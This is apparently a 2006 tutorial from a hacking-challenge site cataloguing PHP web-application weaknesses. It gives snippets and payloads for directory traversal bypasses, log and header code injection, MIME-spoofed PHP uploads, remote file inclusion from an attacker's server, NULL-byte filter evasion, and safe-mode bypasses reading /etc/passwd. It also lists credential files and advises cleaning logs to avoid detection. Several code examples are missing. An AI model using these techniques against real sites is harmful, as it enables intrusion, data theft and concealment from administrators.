================================================ <------------------------------------------------> <------------#www.bright-shadows.net#------------> <------------------------------------------------> <--------------#theblacksheep&erik#--------------> <------------------------------------------------> ================================================ Weaknesses in Web-Applications v1.7 Author : theblacksheep Version: 1.7 Date: July 30, 2006 (check for a newer version at: http://www.bright-shadows.net/tutorials/tbs_wiwa.txt) Contact: webmaster@bright-shadows.net Knowledge means power. Maybe you can use this interesting fact for your advantage: Trick the ip2long() function into returning a valid IPv4 Internet network address instead of -1 even if the ip address argument is not a valid one. http://retrogod.altervista.org/php_ip2long.htm #- Introduction #- General - Collecting Information - Google #- Viewing the Source of a Web Page #- Editing of Source Code #- JavaScript Inline Debugger #- Directory Listing/Index Browsing #- robots.txt #- Reverse Directory Transversal #- Information Storage In Files #- Header Based Exploitation #- X-Forwarded-For: IP-Spoofing #- Mime Type Spoofing #- CRLF-Injection #- Global Variables #- Remote Files #- Library Files #- Session Files #- NULL Byte #- SQL-Injection #- Cross Site Scripting #- Cross-Site Request Forgeries (CSRF) #- Session Fixation #- Loose Typing And Associative Arrays #- Interesting PHP Functions - ereg() - file() - file_get_contents() - fopen() - include() - include_once() - is_dir() - is_file() - phpinfo() - readfile() - require() - require_once() - touch() - unlink() #- PHP vulnerabilities - copy (4.4.2, 5.1.2 and prior - Safe Mode Bypass) - error_log (4.4.2 and prior, 5.1.4 and prior - Safe Mode Bypass) - phpinfo (4.4.2, 5.1.2 and prior - Cross Site Scripting) (4.4.0 and prior - Cross Site Scripting) (4.4.0, 5.0.5 and prior - Cross Site Scripting) #- Apache - Unknown Mime Type Trouble #- Interesting Files #- Useful Commands #- HTTP Error Codes #- Execution Of Shell Commands #- Protecting PHP #- Web bugs #- Faking Cookies #- Getting the source code of ".swf" Flash files #- Getting the source code of ".class"/".jar" Java applet files #- Passwords (guessing, brute force, dictionary attack) #- Tools - CGIProxy - Proxomitron #- Buffer Overflow #- Format String #- Heap Overflow #- Integer Overflow #- Other interesting tutorials you should read #- Thx! #- History ---------------------------------------------------------------------------- --[< Introduction >] ------------------------------------------------------- ---------------------------------------------------------------------------- First my intention was to put everything I know about that topic into a database so in case I forget something I can just have a look at it again. Then I figured that there are probably more people out there that are interested in this topic. So I have decided to write this tutorial. But please don't give me full credit for everything in this tutorial!!! Some things are just rewritten (for better understanding and examples) parts of other tutorials out there (at the end of this tutorial is a list of them). If you find any mistakes please send me an e-mail (webmaster@bright-shadows.net) and I will fix it. ---------------------------------------------------------------------------- --[< General - Collecting Information >] ----------------------------------- ---------------------------------------------------------------------------- When trying to attack a web site you have to collect information about it. Things I would do first: .- check out if they use their own scripts or scripts written by someone else if written by someone else: .- search for an existing exploit for that application else .- try to get the source code to look for bugs on your own .- look for scripts that take user input .- maybe directory listing works .- check the source code .- try common directories and filenames .- try to figure out what the scripts do with your input for example: #write it into databases/files #echo it back to you #execute commands #... .- figure out how the applications filter your input .- try to get around these filters .- run proxomitron or a similar tool that allows you to view HTTP header messages Google .- learn how to use google for gathering information .- this tutorial is going to help you a lot: - "The Google Hacker’s Guide" by Johnny Long (use google to find it) ---------------------------------------------------------------------------- --[< Viewing The Source Of A Web Page >] ----------------------------------- ---------------------------------------------------------------------------- Often it is important to see the source code of a web page. That's how to do it with the 2 most common browser: Firefox View --> Page Source Right Click --> View Page Source If the site consists of frames you also have this option to get the source code of a certain frame: Right Click --> This Frame --> View Frame Source Opera View --> Source Right Click --> Source Right Click --> Frame --> Source Internet Explorer View --> Source Right click --> View Source Often you can also type this in the address bar of your browser to see the source: view-source: path to the web page To see the source code of a PHP, PERL,... application you have to find a vulnerability that you can use because their code gets executed on the server and you will only see the output. So don't even think about it!!! There is no way (without exploiting it) to see the code of a PHP, PERL or ASP page!!! ---------------------------------------------------------------------------- --[< Editing of Source Code >] --------------------------------------------- ---------------------------------------------------------------------------- 1. Save the web site offline 2. Open the file with your favourite editor 3. Make the changes 4. Save the file 5. Run it Example: website http://www.test.com ...
... If you want to change the attributes of the password field so that it isn't disabled anymore, you save the web site offline. Now open it with a editor and remove the disabled attribute. Do not forget to change the action path too, or nothing would happen if you run it later on! The reason is that you run it locally and your computer has no idea what to do with those information. You have to specify the full path, so that it knows where to send all the stuff too. So your new lines of code should be: ...
... Now just save it and run it. If you use Firefox as your browser you also have another more convenient way to solve the problem. 1. Open the web site you want to change in a new window 2. Go to Extras --> DOM Inspector 3. Now you have the opportunity of changing every tag and its attributes Using this method you do not have to deal with adjusting paths and saving stuff offline. A third way of editing source code is given by the javascript inline debugger which is described next. ---------------------------------------------------------------------------- --[< JavaScript Inline Debugger >] ----------------------------------------- ---------------------------------------------------------------------------- Sometimes you have to change forms on a webpage (for example hidden fields) to put in what you want. One way is to download the page and to change the values offline. Then run it with the changed fields. Another, often faster way is to use JavaScript to change the fields while you are online. Most browser allow "javascript:expression" to be typed into the address field what can be used to change form values on the current page. However, if you use functions with return value, the content of the page will be destroyed. If you use "void()" and "alert()" it won't happen. You can use "alert" to alert a value and "void" to change it (void is maybe more interesting). Example: javascript:alert(document.forms[0].userid.value) javascript:void(document.forms[0].userid.value="2") javascript:alert(document.forms[0].userid.value) javascript:void(document.cookie="cookiename=value") If you use javascript:alert(document.forms[0].hiddenid.value="2") you will change the value and it gets displayed immediately. Things that can be changed: Cookies - document.cookie Regular Fields - document.forms[0].name.value Selections - document.forms[0].name.options[0].value ---------------------------------------------------------------------------- --[< Directory Listing/Index Browsing >] ----------------------------------- ---------------------------------------------------------------------------- Index browsing can be very useful in trying to find files you normally shouldn't see like password files, files used to administrate the web page, log files, any files were information get stored,... If you access to a web site like in the example below, you will get the intro.html in the start/ folder. http://website.net/start/intro.html -->intro.html in the start/ directory If you don't tell the server which specific file you want (only the folder), it will start to try out default file names which can be defined by the admin in the web server configuration: http://website.net/start/ The most common are: index.html index.php default.html If the server finds one of these files he will open it. If not, two things can happen. 1. .-directory listing/index browsing is enabled .-you will see a listing of files that are in that directory 2. .-directory listing/index browsing is disabled .-you will see a page that tells you that you don't have access to the folder Every directory on a webpage is a potential target. To find directories you can check your address bar of your browser or also the source code for links, to find places like where the pictures are stored at the site. You can also try some common names for folders by hand or you can use a program that does it automatically for you: http://target/logs/ http://target/admin/ http://target/secret/ ... Programs that do it automatically for you: .-cgi scanner .-site explorer Cgi-scanners look for files that may be part of an application that is exploitable. If you use a site explorer you should know that he will only find files that are linked somehow with the page he starts at. So you won't find a password file because no direct link to it will be on the site (or at least in 99%). Sometimes also simple guessing of a file name may help you to move on. ---------------------------------------------------------------------------- --[< robots.txt >] --------------------------------------------------------- ---------------------------------------------------------------------------- robots.txt is a file, search engines look for in your root domain. Example: http://a_website/robots.txt In the file are instructions for the search engine which files it is allowed to spider (download). -->Robots Exclusion Standard For example if you have pictures on your website and you don't want a search engine to list them, you can write it down in that file. The robots.txt file consists of records (each 2 fields) and should be created in UNIX line ender mode (\n). Each record has a "User-agent" line and at least one "Disallow" line. User-agent: ... --> specifies the robot (use a * to specify all robots) Disallow: ... --> files or directories and that shall not be downloaded Example 1: User-agent: googlebot Disallow: index.html -->don't index index.html Disallow: /cgi-bin/ -->don't index the cgi-bin directory #comment -->comments start with # Disallow: /secret -->don't index the file secret.html and the directory /secret/ It can be very interesting to look at these files. Sometimes you will find the path to directories no-one should see. ---------------------------------------------------------------------------- --[< Reverse Directory Transversal >] -------------------------------------- ---------------------------------------------------------------------------- This is a common vulnerability which allows an attacker to have access to files that he normally has not access too. A really bad example would be: -------------------------- fopen($HTTP_GET_VARS['filename'], "a"); -------------------------- It opens the file you want to on the web server. So you can open any file because nothing gets filtered! This one might seems a little bit safer and seems to just allow you to open files in the include directory but that is wrong! -------------------------- $file_to_open = '/files/include/'.$HTTP_GET_VARS['filename']; fopen($file_to_open, "a"); -------------------------- This example is vulnerable for a reverse directory attack. If the user input is '../anyfile.php', the script will open anyfile.php in the /files directory and not in the include directory. The "../" tells the server to move one directory up. You leave the include directory and you move in the files directory. If you use more "../" in a row you can even move further up. Example: -------------------------- $file_to_open = '/files/include/'.'../../anyfile.php'; fopen($file_to_open, "a"); -------------------------- =this would open /anyfile.php The whole reverse directory thing allows you to move backwards (upwards) in the directory tree. Some scripts try to use protections against the attacks but not always does the protection work. This script only looks for ../ in the script and removes them when found: ----------------------------- $filtered_filename = preg_replace("/\.\.//i",'',$HTTP_GET_VARS['filename']); $file_to_open = '/files/include/'.$filtered_filename; fopen($file_to_open, "a"); ----------------------------- If you want to open anyfile.php in the root directory, you would use "../../anyfile.php" if no filter would exist. But after it gets filtered just anyfile.php is left. Not what you want. Just try this one: ".../...//.../...//anyfile.php" After it gets filtered "../../anyfile.php" is left. That is exactly what you want. Sometimes you can also use the filters to your advantage. ----------------------------- $filtered_filename = preg_replace("/\.\.//i",'',$HTTP_GET_VARS['filename']); $filtered_filename = preg_replace("/;/i",'',$filtered_filename); $file_to_open = '/files/include/'.$filtered_filename; system(cat $file_to_open); ----------------------------- This looks like to filters ../ which can lead to a reverse directory attack and then the ; character that is used to execute more than one command. Just look at this input: ..;/..;/anyfile.php The first filter does nothing and the second removes the ; so that ../../anyfile.php is left. That is nice. Even if the protection looks much more advanced and the meta characters get filtered -->meta characters: &;`'\"|*?~<>^()[]{}$\n\r Check if really all of them get filtered. Sometimes they forget to filter \. ---------------------------------------------------------------------------- --[< Information Storage In Files >] -------------------------------------- ---------------------------------------------------------------------------- Even databases are very popular today, not everyone has access to it and so some scripts use files to store information. If you find any of these database files, check them out!!! They often contain information like usernames, passwords, ... Sometimes it is also important for you to put information into such a file. A problem for the programmer but a good thing for you might be how the input gets broken up. Example: adds user ------------------------------- $user = $HTTP_GET_VARS['user']; $pass = $HTTP_GET_VARS['pass']; -->it is just a simple example that doesn't even check if the user already exist $admin = 'no'; $hfile = fopen('database_file', 'a+'); fwrite($hfile, "$user:$admin:$pass\n"; fclose($hfile); ------------------------------- reads file ------------------------------- $hfile = fopen('database_file', "r"); while (!feof($hfile)){ $buffer = fgets($hfile, 4096); $info = explode(":", $buffer); if($info[1] =='yes'){ echo "He is admin"; } } fclose ($hfile); ------------------------------- possible database_file ------------------------------- user1:yes:user1pass user2:no:user2pass user3:no:user3pass ------------------------------- If you find code like in this example, you should jump in a circle ;-) Nothing gets filtered. In case you get access to the database_file you can see all user/pass combinations. That the passwords are not encrypted makes it even 100 times better. (the passwords are often md5 encrypted) Often you won’t be able to see the database_file and you have to try trial and error to figure out what is going on. If you know how the database_file is structured you can add any possible user you want. Input: user=theblacksheep:yes:pass pass=dontcare The database_file would look like this: ------------------------------- user1:yes:user1pass user2:no:user2pass user3:no:user3pass theblacksheep:yes:gohome:no:dontcare ------------------------------- Now you got an admin user with the name "theblacksheep" and the password "gohome". ---------------------------------------------------------------------------- --[< Header-Based-Exploitation >]------------------------------------------- ---------------------------------------------------------------------------- If you visit a website, your browser sends information to the server. For example something like that: GET / HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */* Accept-Language: de User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705) Host: www.bright-shadows.net Referer: Connection: keep-alive The server then response and sends information back: HTTP/1.1 200 OK Date: Thu, 11 Dec 2003 23:38:49 GMT Server: Apache/1.3.19 (Unix) (SuSE/Linux) PHP/4.3.0 Connection: close Content-Type: text/html That is only an example and many different "headers" can be exchanged. But for what we are interested these ones are enough. In the header that our browser sends, we ask the server to give us the index file that is in the root directory of www.bright-shadows.net. Important for us is that our browser always sends his name (User-Agent:...) and where we are coming from (Referer:...) to the server. The good thing is that we can change this information (you can use for example the tool proxomitron). But why are we interested in changing this information? The first answer that should come into your mind is to hide information about us. The second one should be, to try to execute code on the web server. Many pages run scripts that log your IP, browser and referer and show them to the admin in form of diagrams or only simple text output. In most cases they don't check your header for "evil code". Why should they? Let's look at this example to figure out why: GET / HTTP/1.0 Accept: ... Accept-Language: de User-Agent: ==>SSI Host: www.bright-shadows.net Referer: ==>PHP Connection: keep-alive If you would send information like that it can lead (depends on how the web statistic software outputs the information) to the execution of your code. If it takes for example the information (without filtering) and puts them into a PHP file your PHP code will get executed when the logs get viewed the next time (not an uncommon method). The same would happen to your SSI code. If it gets written into a .txt file you are often screwed but be creative. Other type of code you can try to get into the log file: .- Java .- Active X .- Python .- Perl .- VBscript .- ASP .- JSP If you found a way to execute your PHP, SSI or PERL code, you can do almost whatever you want. But maybe you should start with changing the log file so that you don't appear in it. If your code gets written into the file and should be executed but you are waiting and nothing happens then the problem is maybe that the software only shows the "Top Referer/User-Agents". For example the most common 10, 20, ... One way to get around it is for example send a flood of requests to get your information into the top 10, 20, ... It is maybe not one of the most efficient ways but it would work. Nevertheless after that attack you should clean the logs or even an admin with no experience would start to wonder. For another important aspect of using the header for exploitation, please have a look at the "SQL-Injection" section! ------------------------------------------------------------------------- --[< X-Forwarded-For: IP-Spoofing, Command Execution, SQL - Injection >]- ------------------------------------------------------------------------- In case a user uses a proxy $_SERVER['REMOTE_ADDR'] just returns the IP address of the proxy. If the proxy is not really anonymous they usually introduce the "X-Farwarded-For" header which is set to the users IP. But just because the "X-Farwarded-For" header is set, doesn't mean it has been a proxy that did it. Nevertheless many scripts trust it and use it unsanitized in SQL queries or certain command execution statements. Some also expect the real IP of a user to be in the "X-Forwarded-For" header if set. This can lead to IP-Spoofing because everyone can create a fake "X-Forwarded-For" header. Vulnerable example code (phpbb 2.0.8) ------------------------- if(getenv('HTTP_X_FORWARDED_FOR') != ''){ $client_ip = (!empty($HTTP_SERVER_VARS['REMOTE_ADDR'])) ? $HTTP_SERVER_VARS['REMOTE_ADDR'] : ((!empty($HTTP_ENV_VARS['REMOTE_ADDR'])) ? $HTTP_ENV_VARS['REMOTE_ADDR'] : $REMOTE_ADDR ); ------------------------- ---------------------------------------------------------------------------- --[< Mime Type Spoofing >]-------------------------------------------------- ---------------------------------------------------------------------------- The "Content-Type" header in a http request gives information about the data that is being transfered. Some web applications allow you to upload certain types of file (for example .jpg, .gif, .png, .txt, ...). To make sure that you are not a bad guy they check the extension of the uploaded file. Some just have a look at the mime type. ------------------------- if($HTTP_POST_FILES['userfile']['type']=="image/gif"){ } ------------------------- As you should have learned headers are sent by the client! What happens if we try to upload a php file by setting the "Content-Type" to "image/gif"? It is going to be uploaded without complaining. ------------------------- $header = "POST [path to vulnerable application] HTTP/1.1\r\n"; $header .= "Host: [vulnerable host]\r\n"; $header .= "Content-type: multipart/form-data, boundary=beerhunter\r\n"; $header .= "Content-length: [size of the php file]\r\n"; $header .= "\r\n"; $header .= "--beerhunter\r\n"; $header .= "content-disposition: attachment; name=\"userfile\"; filename=\"[evil php filename]\"\r\n"; $header .= "content-type: image/png\r\n"; $header .= "\r\n"; $header .= "[evil php code (payload)]\r\n"; $header .= "--beerhunter--\r\n"; ------------------------- ---------------------------------------------------------------------------- --[< CRLF-Injection >]------------------------------------------------------ ---------------------------------------------------------------------------- The combination Carriage Return(CR, ASCII 13, \r) and Line Feed(LF, ASCII 10,\n) is used in Windows to show that this is the end of the line. Unix only uses Line Feed. In user input both can be a security issue. A simple example is a log script. Something like: date username message 12/12/2003 theblacksheep move on! Nothing really exciting but what would happen if you would put something like: "my message\n12/13/2003 notheblacksheep get me!" (without quotes). If the input would not get filtered, the log file would look like this: date username message 12/12/2003 theblacksheep move on! 12/12/2003 theblacksheep my message 12/13/2003 nottheblacksheep get me! Not what we wanted to get. The user created a fake entry in the log script. ------- Another example would be HTTP headers. Each line is separated by a CRLF. Every time a user can define a HTTP header and the input gets not filtered it is possible for him to add header. Code snippets like: Location: $target\13\10 -->normally just a redirection But if $target is something like: http://www.page.org/\13\10Referer: idontcare ------- More interesting is maybe an e-mail system that allows you to send e-mails to people that don't wanne show you their email address to stay anonymous. If you can give the value for one mail header (for example "Subject:") and your input gets not filtered, it is possible for you to get the address of the other person. Just use CRLF and add a "Bcc:" field with your own address. Now you will get a copy revealing the recipient's e-mail address. Subject: $usermessage Your input for $usermessage: hello\r\nBcc: yourownemailadress ---------------------------------------------------------------------------- --[< Global Variables >]---------------------------------------------------- ---------------------------------------------------------------------------- In PHP, variables are automatically created the first time they are used(empty: "") in the code and their type is based on the content in which they are used. That makes it very easy and comfortable for the programmer. PHP as a programming language that is most of the time used for web applications, often deals with user input. Examples: .form variables .cookies .uploaded files It takes the input, processes it and returns the output. To handle the input easily, PHP provides you global variables. Before PHP version 4.1.0 (included 4.1.0), all the variables (Environment, GET, POST, Cookie, and Server) got written into the same namespace. So an attacker was able to put arbitrary variables with arbitrary values into the namespace. If the programmer doesn't initialize the variables in his code, he can't expect that the variable got not changed by an attacker. Example: You can easily bypass the authentification by sending a variables "auth" to the script with the value 1. After PHP 4.1.0 register_globals is turned OFF by default and variables get written into super global arrays. If you call the script for example like that: http://a_website/file.php?variable1=hello&variable2=you You could use variable1 and variable2 in your script, depending on the web server configuration, like this: register_globals ON $variable1 $variable2 //-->only possible if track_vars is on else: register_globals OFF $HTTP_GET_VARS['variable1'] $HTTP_GET_VARS['variable2'] If track_var is on you can use the following arrays: $HTTP_ENV_VARS or $_ENV $HTTP_GET_VARS or $_GET $HTTP_POST_VARS or $_POST $HTTP_COOKIE_VARS or $_COOKIE $HTTP_SERVER_VARS or $_SERVER $HTTP_SESSION_VARS or $_SESSION $_REQUEST track_vars enabled: variables submitted by the user are available both from the global variables and also as elements in the arrays mentioned above Sometimes you will have problems that a third-party PHP application needs register_globals ON! You can put for examples these lines php_flag register_globals Off php_flag track_vars On into an .htaccess file to change the settings for only a special program. In the Apache web server configuration has "AllowOverride" be set to "AllowOverride Options" Under the 'admin/' directory, index.php checks whether the password matches the one in the database after posting the form: When the passwords match, the variables $myname, $fullname and $userid are registered as session variables. The user then gets redirected to index2.php. Let us see what happens there: If the session ID has not been set, the user will be directed back to the login screen. If there is a session ID, though, the script will resume the session and will put the previously set session variables into the global scope. Nice. Let us see how we can exploit this. Consider the following URL: http://example.ch/admin/index2.php?PHPSESSID=1&myname=admin&fullname=joey&userid=admin The GET variables $PHPSESSID, $myname, $fullname and $userid are created as global variables per default. So when you look at the if-else-structure above, you will notice that the script figures $PHPSESSID is set and that the three variables dedicated to authorize and identify the user can be set to anything you want. The database has not even been queried. ---------------------------------------------------------------------------- --[< Remote Files >]-------------------------------------------------------- ---------------------------------------------------------------------------- I have talked about this in other parts of the tutorial but it is so important that I have decided to put it under an extra topic. Example code to open a file: --------------------------------- \n"); ?> --------------------------------- This example opens the file with the name specified in the user input ($filename). That means it opens every file an attacker wants to open and if allow_url_fopen is ON even remote files. Look for example at this piece of code: Example: -------------------------------- -------------------------------- Just create a file “languages.php” on your web server and call the script like this: libdir=http://www.yourserver.com/ It will execute your file on the target server. Important is just that you have PHP off or the code will get executed on your server. ---------------------------------------------------------------------------- --[< Library Files >]------------------------------------------------------- ---------------------------------------------------------------------------- Sometimes we need pieces of code over and over again. So we just put these pieces of code into a separated file and include() or require() this file when needed. Often these Libraries have had the ending ".inc". The problem is that you can open these files with your browser and you will see the source code. The simplest solution and by many people favoured on is to name the files ".inc.php". So you can't get the source code in the file. But often another problem exists. These files are created to use them in a special content. It is not seldom that they use variables which they get from the script that includes/requires them. Example: index.php: library_dir/loadfile_layout.php This script would work perfect without any security problems if it would run in the defined context. But if an attacker would open "library_dir/loadfile_layout.php", he could define $library_dir and if the setting of the web server allows it, even to a remote file. That means he could include every PHP code he wishes to. Often library files are in directories as: include/ modules/ library/ lib/ ---------------------------------------------------------------------------- --[< Session Files >]------------------------------------------------------- ---------------------------------------------------------------------------- Sessions are used to save user information when a user moves from page to page on a web site. One example would be a login script that checks if you are already logged in. -->session is started -->random id gets generated -->your information are linked with this id -->your browser sends with every request this id .a cookie for example -->the session variable can also be stored in a form variable on every page With every session PHP can register a particular variable. Its value gets stored at the end of the PHP script and new loaded at the beginning of a script. Example: Any later PHP scripts will automatically have the variable $me set to "theblacksheep". If they modify it later scripts will receive the modified value. One obvious problem is with insuring that variables actually come from the session. For example, given the above code, if a later script does the following: Doesn't really look bad or? But what the script does is, it thinks that $me comes from the session and not from user input. If you could specify $me (send it as GET or POST) you could get access to the site. ->the attacker has to do it before the variable is registered in the session .if it is in the session it will override any form of input The session files are saved in a directory specified by the web server. In most of the cases it is named "/tmp". A name of a session files looks like: sess_ In it are all names of variables of this session, their loose type, value and other data. The files are saved as the user who runs the server (typically nobody). On multi host systems, a malicious site owner can easily create a session file granting themselves access on another site or even examine the session files looking for sensitive information. The session mechanism also supplies another convenient place that attackers have their input saved into a file on the remote machine. For examples above where the attacker needed PHP code in a file on the remote machine, if they cannot use file upload they can often use the application and have a session variable set to a value of their choosing. They can then guess the location of the session file, they know the filename 'php' they just have to guess the directory, usually /tmp. Finally an issue I haven't found a use for is that an attacker can specify any session id they wish (e.g. 'hello') and have a session file created with that id (for the example '/tmp/sess_hello'). The id can only contain alphanumeric characters but this might well be useful in some situations. ---------------------------------------------------------------------------- --[< NULL Byte >]----------------------------------------------------------- ---------------------------------------------------------------------------- Do not mix up the NULL byte with 0 (zero)! The NULL byte is the byte with the hex representation "%00". It also might be written as "\0". For PHP, the NULL Byte is a NULL character. The problem is PHP is coded in C and the NULL Byte in C is a string terminator. It means that the string stops when there is a NULL Byte! Also system calls passed to the operation system should be filtered carefully. UNIX is written in C too, and so the string termination character NULL might lead to problems. The best example is to fool web application into thinking a different file type has been requested. Looks not bad the script. It takes the filename that it gets and puts ".txt" on the end. So the programmer tries to make sure that only txt files can be opened. But what about a filename like this: phppage.php%00 It will get to: phppage.php%00.txt So fopen opens phppage.php%00.txt or? No! And that is the point. The fopen functions stops after ".php" before the NULL Byte and opens only "phppage.php". So every type of file can be opened. Scripts that allow uploads (but only for a certain file type) are also a potential target for this type of attack. For another usefull example of the NULL byte have a look at /*ereg()*/. ---------------------------------------------------------------------------- --[< SQL-Injection >] ------------------------------------------------------ ---------------------------------------------------------------------------- There are quite a lot of interesting and good tutorials out there about that topic: # Manipulating Microsoft SQL Server Using SQL Injection [12-2003] # Blind SQL Injection [10-2003] # Using Binary Search with SQL Injection [8-2003] # SQL Injection [7-2003] # More Advanced SQL Injection [6-2002] # Advanced SQL Injection In SQL Server Applications [1-2002] There are just two advices I want to give you. Use something like this when you fake your user-agent, referer and X-Forwarded-For header: user-agent: "><" UNION SELECT '"- UPDATE; referer: "><"(,'"><'UNION SELECT * ' X-Forwarded-For: "><"' UNION include The reason is that some sites log those information in a database and not all filter them. In case they do not get filtered and they are echoed back, the javascript message is going to be shown. If they are just logged the last part should cause a sql error. So you might be confronted with some nice information. ---------------------------------------------------------------------------- --[< Cross Site Scripting >] ----------------------------------------------- ---------------------------------------------------------------------------- This attack is also known as XSS. Some good tutorials about this topic are: # Real World XSS [12-2003] # The Anatomy of Cross Site Scripting [11-2003] # Advanced cross site scripting and client automation [10-2003] # The Cross Site Scripting FAQ [8-2003] # Cross-Site Scripting [7-2003] # Cross-Site Tracing (XST) [1-2003] # Bypassing JavaScript Filters - The Flash Attack [8-2002] # Evolution of Cross-Site Scripting Attacks [5-2002] ---------------------------------------------------------------------------- --[< Cross-Site Request Forgeries (CSRF) >] -------------------------------- ---------------------------------------------------------------------------- CSRF aims at making a user do something that he has the right (priviledge) to do (the attacker doesn't) but that is not intended by him. Example: A superuser is logged in with privileged rights. Therefore he can access files other users would like to have access to. Those user could send a link to the superuser which would send him to one of those files if clicked by the admin. worst case example: ----------------------------------- /*cmd.php*/ ----------------------------------- But why would he visit that link? Maybe you have done some good social engineering or you have injected some html code. Another chance is to include a remote image. Many forums offer a [img] tag. Use the web bug method for redirecting the superuser to those files. Example: ----------------------------------- ] --------------------------------------------------- ---------------------------------------------------------------------------- A good introduction: # Session Fixation Vulnerability in Web-based Applications [12-2002] # Brute-Force Exploitation of Web Application Session IDs [11-2001] ---------------------------------------------------------------------------- --[< Loose Typing And Associative Arrays >]--------------------------------- ---------------------------------------------------------------------------- Every variable can have different values depending on the content in which it is being evaluated. $test = '' -->evaluated as number would be 0 $test_array["000"] is not the same array entry as $test_array[0] ---------------------------------------------------------------------------- --[< Interesting Functions >]----------------------------------------------- ---------------------------------------------------------------------------- That is a list of function which you might be able to exploit if you can affect the value of one of their parameters. Code Execution: require() - reads a file and interprets content as PHP code include() - reads a file and interprets content as PHP code eval() - interpret string as PHP code preg_replace() - if it uses the /e modifier it interprets the replacement string as PHP code Command Execution: exec() - executes command + returns last line of its output passthru() - executes command + returns its output to the remote browser `` (backticks) - executes command and returns the output in an array shell_exec - executes command + returns output as string system() - executes command + returns its output (much the same as passthru()) .can't handle binary data popen() - executes command + connects its output or input stream to a PHP file descriptor File Disclosure: fopen() - opens a file and associates it with a PHP file descriptor readfile() - reads a file and writes its contents directly to the remote browser file() - reads an entire file into an array file_get_contents() - reads file into a string /*ereg()*/ - this function is vulnerable against a NULL byte attack Example code: -------------------------- if(ereg('[^A-Za-z0-9_]',$_GET['chars'])){ echo "Do not try to get past this!"; exit; } echo "You have passed the filter!"; -------------------------- If the supplied parameter $_GET['chars'] starts with a NULL byte you can use all chars in the rest of your parameter even the ones that should be filtered. Example: Input: and' '1'='1'/* Output: Do not try to get past this! Input: %00and' '1'='1'/* Output: You have passed the filter! This allows you to get all types of chars through the filter to run sql-injection attacks or XSS. /*file()*/ - information disclosure and XSS if the specified file doesn't exist (- have a look at the /*is_file()*/ example) -------------------------- Warning: file(%parameter%): failed to open stream: No such file or directory in %path% on line %x% -------------------------- /*file_get_contents()*/ - same as /*file()*/ /*fopen()*/ - same as /*file()*/ /*include()*/ - information disclosure and XSS - if the file that should be included doesn't exist it is possible to execute javascript code (XSS) and it is possible to see the part of the parameter that can't be specified by you (- have a look at the /*is_file()*/ example) -------------------------- Warning: main(%parameter%): failed to open stream: No such file or directory in %path% on line %x% Warning: main(): Failed opening '%parameter%' for inclusion (include_path='%path%') in %path% on line %x% -------------------------- The first warning shown is the one that is vulnerable to XSS. In the second one the javascript/html is filtered. /*include_once()*/ - same as /*include()*/ /*is_file()*/ - information disclosure and XSS - if the is_file() parameter is longer than 255 chars then the whole paramter gets shown - that allows you to figure out parts of the path which can't be influenced by you - this only seem to work if there is a fixed part else nothing happens -------------------------- Warning: is_file(): Stat failed for %parameter% (errno=36 - File name too long) in %path% on line %x% -------------------------- So for example: filename.php -------------------------- -------------------------- Will give you this error output: -------------------------- Warning: is_file(): Stat failed for directory/256 A's (errno=36 - File name too long) in /whatever/path/filename.php on line 2 -------------------------- /*is_dir()*/ - same problems as /*is_file()*/ /*phpinfo()*/ - this function alone gives you a lot of information about how php is configured on that server - often it is used in a file named phpinfo.php - for bugs in certain versions check "PHP vulnerabilities" /*readfile()*/ - same as /*file()*/ /*require()*/ - information disclosure and XSS - if the file that should be included doesn't exist it is possible to execute javascript code (XSS) and it is possible to see the part of the parameter that can't be specified by you (- have a look at the example at /*is_file*/) -------------------------- Warning: main(%parameter%): failed to open stream: No such file or directory in %path% on line %x% Warning: main(): Failed opening required '%parameter%' (include_path='%path%') in %path% on line %x% -------------------------- The first warning shown is the one that is vulnerable to XSS. In the second one the javascript/html is filtered. /*require_once()*/ - same as /*require()*/ /*touch()*/ - same problem as is_file - the error looks like this: -------------------------- Warning: touch(): Unable to create file %parameter% because File name too long in %path% on line %x% -------------------------- /*unlink()*/ - same problems as is_file but also possible to execute javascript code(XSS) because the passed parameter doesn't get filtered - the error looks like this: -------------------------- Warning: is_file(): Stat failed for %parameter% File name too long in %path% on line %x% -------------------------- If you use javascript in your long string then it gets executed when the error is shown. Example: 256 A's ---------------------------------------------------------------------------- --[< PHP vulnerabilities >]------------------------------------------------- ---------------------------------------------------------------------------- /*copy()*/ # (4.4.2, 5.1.2 and prior - Safe Mode Bypass) Exploit: http://securityreason.com/achievement_exploitalert/8 -- copy("compress.zlib:///etc/passwd", $temp); -- /*error_log*/ # (4.4.2 and prior, 5.1.4 and prior - Safe Mode Bypass) Exploit: --- error_log("", 3, "php://../../".$file); --- /*phpversion()*/ # (4.4.2, 5.1.2 and prior - Cross Site Scripting) Exploit: phpinfo.php?cx[]=ccccc..~4096chars...ccc[XSS] # (4.4.0, 5.0.5 and prior - Cross Site Scripting) Exploit: phpinfo.php?GLOBALS[test]=[XSS] # (4.4.0 and prior - Cross Site Scripting) Exploit: phpinfo.php?whatever=[XSS] ---------------------------------------------------------------------------- --[< Apache - Unknown Mime Type Trouble >]---------------------------------- ---------------------------------------------------------------------------- If you have a file "whatever.php" the Apache webserver treats it as a php file. If you have a file "whatever.jpg" the Apache treats it as an image. If you have a file "whatever.php.jpg" it is also treated as an image because the extension is ".jpg" and the Apache knows this mime type.. The information about the extensions and mime types are saved in the ".../conf/mime.types". What do you expect does the webserver with this file: "whatever.php.tbs". He handles it as a php file! The reason for that is that the Apache doesn't find the extension ".tbs" in the list and therefore choses ".php" as extension. I think this is wierd and unnecessary but it might help us to place our php code somewhere at the server. So keep it in mind! ---------------------------------------------------------------------------- --[< Interesting Files >]--------------------------------------------------- ---------------------------------------------------------------------------- "/etc/passwd" -this is the system password file of UNIX -it is shadowed so that it will not provide you encrypted passwords -the only useful things in it might be usernames if you look for a valid one "/etc/shadow" -the system password file that contains the encrypted passwords -you can’t read it if you are not root -if the web server runs as root you can open it!!! "/etc/motd" -contains the first message a user sees when they login -it might give you information about the system (operating system version) "/etc/hosts" -provides information about ip addresses and network information -gives you more information about your target system/network setup "/usr/local/apache/conf/httpd.conf" -common path to the Apache web server configuration file (path may be different) -gives you information about which websites are hosted and the settings of the web server ".htpasswd, .htaccess, and .htgroup" -used for password authentication on a website -in the .htpasswd is the username:password combination stored -the password is an encrypted hash (MD5, DES,...) -brute force the password to be able to access the protected part "access_log and error_log" -log files of the apache web server -if you have access to them, change everything that tells the admin that you have been there "[drive-letter]:\winnt\repair\sam._ or 